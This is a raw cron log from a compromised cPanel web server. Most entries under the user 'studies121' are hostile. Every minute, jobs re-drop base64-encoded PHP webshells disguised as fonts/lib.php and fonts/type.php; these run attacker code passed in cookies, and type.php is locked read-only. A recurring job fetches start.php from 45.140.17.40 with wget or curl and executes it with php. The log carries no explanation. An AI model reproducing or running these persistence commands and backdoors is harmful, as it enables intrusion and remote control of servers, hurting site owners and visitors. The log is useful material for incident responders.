Sep  4 21:29:01 ip-184-168-122-23 CROND[24160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:29:01 ip-184-168-122-23 CROND[24161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:30:01 ip-184-168-122-23 CROND[24350]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:30:01 ip-184-168-122-23 CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:30:01 ip-184-168-122-23 CROND[24354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:30:01 ip-184-168-122-23 CROND[24357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:30:01 ip-184-168-122-23 CROND[24360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:30:01 ip-184-168-122-23 CROND[24358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:30:01 ip-184-168-122-23 CROND[24355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:30:01 ip-184-168-122-23 CROND[24359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:31:01 ip-184-168-122-23 CROND[24453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:31:01 ip-184-168-122-23 CROND[24456]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:31:01 ip-184-168-122-23 CROND[24454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:31:01 ip-184-168-122-23 CROND[24457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:31:01 ip-184-168-122-23 CROND[24458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:32:01 ip-184-168-122-23 CROND[24533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:32:01 ip-184-168-122-23 CROND[24536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:32:01 ip-184-168-122-23 CROND[24537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:32:01 ip-184-168-122-23 CROND[24534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:32:01 ip-184-168-122-23 CROND[24535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:33:01 ip-184-168-122-23 CROND[24652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:33:01 ip-184-168-122-23 CROND[24653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:33:01 ip-184-168-122-23 CROND[24654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:33:01 ip-184-168-122-23 CROND[24655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:34:01 ip-184-168-122-23 CROND[24734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:34:01 ip-184-168-122-23 CROND[24736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:34:01 ip-184-168-122-23 CROND[24738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:34:01 ip-184-168-122-23 CROND[24739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:34:01 ip-184-168-122-23 CROND[24737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:35:01 ip-184-168-122-23 CROND[24827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:35:01 ip-184-168-122-23 CROND[24829]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 21:35:01 ip-184-168-122-23 CROND[24831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:35:01 ip-184-168-122-23 CROND[24830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:35:01 ip-184-168-122-23 CROND[24832]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:35:01 ip-184-168-122-23 CROND[24833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:35:01 ip-184-168-122-23 CROND[24839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:35:01 ip-184-168-122-23 CROND[24840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:36:01 ip-184-168-122-23 CROND[25022]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:36:01 ip-184-168-122-23 CROND[25024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:36:01 ip-184-168-122-23 CROND[25021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:36:01 ip-184-168-122-23 CROND[25025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:36:01 ip-184-168-122-23 CROND[25023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:37:01 ip-184-168-122-23 CROND[25110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:37:01 ip-184-168-122-23 CROND[25113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:37:01 ip-184-168-122-23 CROND[25111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:37:01 ip-184-168-122-23 CROND[25112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:38:01 ip-184-168-122-23 CROND[25195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:38:01 ip-184-168-122-23 CROND[25196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:38:01 ip-184-168-122-23 CROND[25198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:38:01 ip-184-168-122-23 CROND[25199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:38:01 ip-184-168-122-23 CROND[25197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:39:01 ip-184-168-122-23 CROND[25295]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 21:39:02 ip-184-168-122-23 CROND[25297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:39:02 ip-184-168-122-23 CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:39:02 ip-184-168-122-23 CROND[25298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:39:02 ip-184-168-122-23 CROND[25299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:40:01 ip-184-168-122-23 CROND[25386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:40:01 ip-184-168-122-23 CROND[25389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:40:01 ip-184-168-122-23 CROND[25390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:40:01 ip-184-168-122-23 CROND[25391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:40:01 ip-184-168-122-23 CROND[25394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:40:01 ip-184-168-122-23 CROND[25393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:40:01 ip-184-168-122-23 CROND[25392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:40:01 ip-184-168-122-23 CROND[25395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:41:01 ip-184-168-122-23 CROND[25481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:41:01 ip-184-168-122-23 CROND[25483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
